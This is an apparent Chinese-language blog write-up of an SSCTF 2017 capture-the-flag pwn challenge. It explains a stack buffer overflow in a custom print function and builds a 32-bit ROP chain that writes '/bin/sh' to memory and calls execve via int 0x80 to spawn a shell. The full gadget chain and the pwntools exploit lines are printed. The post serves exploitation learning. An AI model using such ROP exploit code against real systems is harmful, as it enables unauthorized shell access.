pwn专题入门分享系列记录2
有了第一次做题经验后,便对pwn变得异常的喜欢。ssctf2017的这题pwn虽然说很简单,但对于本人这种新手来说绝对爱不释手。程序漏洞逻辑很简单,先输入要输出字符串的大小,分配对应的内存后存储输入字符串,然后再进行输出:
代码如下,这里本身没有漏洞,但是在输出的时候故意使用了个自定义的漏洞函数:
该函数将传入的字符串拷贝到一个临时变量里再打印出来,没有检查字符串的长度是否超过临时变量buf的长度就进行了拷贝,存在栈溢出漏洞:
并且这个程序也没有canary对于栈上返回地址的保护验证,所以直接覆盖上面print函数的返回地址即可劫持eip。不过,题目开启了NX保护,栈上的溢出数据无法当成代码执行,而且程序不引用libc库本身也找不到system函数可以调用,所以我唯一能想到的解题思路也就是rop了。题目比较简单,于是就动手实践一把linux下执行shellcode吧。
搜一下exploitdb上的shellcode,找到了几个编写简洁的版本,不过实践之后才发现存在小坑,没有考虑到ecx寄存器的值(也可能本人忽略了什么地方,最后把ecx值清0才得以成功)。参照找到的shellcode编写rop之前,先把程序上传到ropshell方便列出一些可用的gadgets进行rop编程,可直接参见本人上传的链接:http://ropshell.com/ropsearch?h=ad2ed1e689ba8d4acd5c7c1345637c52,列出的gadgets还是比较清晰的:
接着就可以编写rop了,思路就是把系统调用号11(0x0b)传给eax,把存储参数“/bin/sh”的地址传给ebx,然后把ecx清0之后调用syscall(即int 0x80)即可getshell!具体rop链如下(完整代码参照附件):
rop = p32(0x0804f2ec) + p32(0xa9b3b7cc) #0x0804f2ec : pop ebx; ret => ebx = 0xa9b3b7cc
rop = rop + p32(0x080b89e6) + '/bin' #0x080b89e6 : pop eax; ret => eax = '/bin'
rop = rop + p32(0x0806cafb) #0x0806cafb : add [ebx + 0x5e5b04c4], eax; ret => [0x080ebc90] = '/bin'
rop = rop + p32(0x0804f2ec) + p32(0xa9b3b7d0) #0x0804f2ec : pop ebx; ret => ebx = 0xa9b3b7d0
rop = rop + p32(0x080b89e6) + '/sh\0' #0x080b89e6 : pop eax; ret => eax = '/sh\0'
rop = rop + p32(0x0806cafb) #0x0806cafb : add [ebx + 0x5e5b04c4], eax; ret => [0x080ebc94] = '/sh\0'
rop = rop + p32(0x0804966c) + (0x0c + 4 * 4) * 'A' #0x0804966c : xor ecx, ecx; test eax, eax; setz cl; add esp, 0Ch; mov eax, ecx; pop ebx; pop esi; pop edi; pop ebp; ret => ecx = 0
rop = rop + p32(0x0804f2ec) + p32(0x080ebc90) #0x0804f2ec : pop ebx; ret => ebx = 0x080ebc90
rop = rop + p32(0x080b89e6) + p32(0x0b) #0x080b89e6 : pop eax; ret => eax = 0x0b
rop = rop + p32(0x0806f5c0) #0x0806f5c0 : int 0x80; ret
rop = rop + p32(0x0806cba1) #0x0806cba1 : _exit
可以借助调速器动态调试一下,以下为刚跳转到rop链开始:
以下为执行到rop链最后:
编写完rop,将其覆盖到返回地址之后的栈内存上面,将返回地址指向rop链的开始位置顺利执行shellcode:
target.sendline((58 + 4) * 'A' + rop) #exp
target.interactive()
成功getshell(远程切换target即可,之后可以在服务器上找到flag):
目前没有反馈
表单载入中...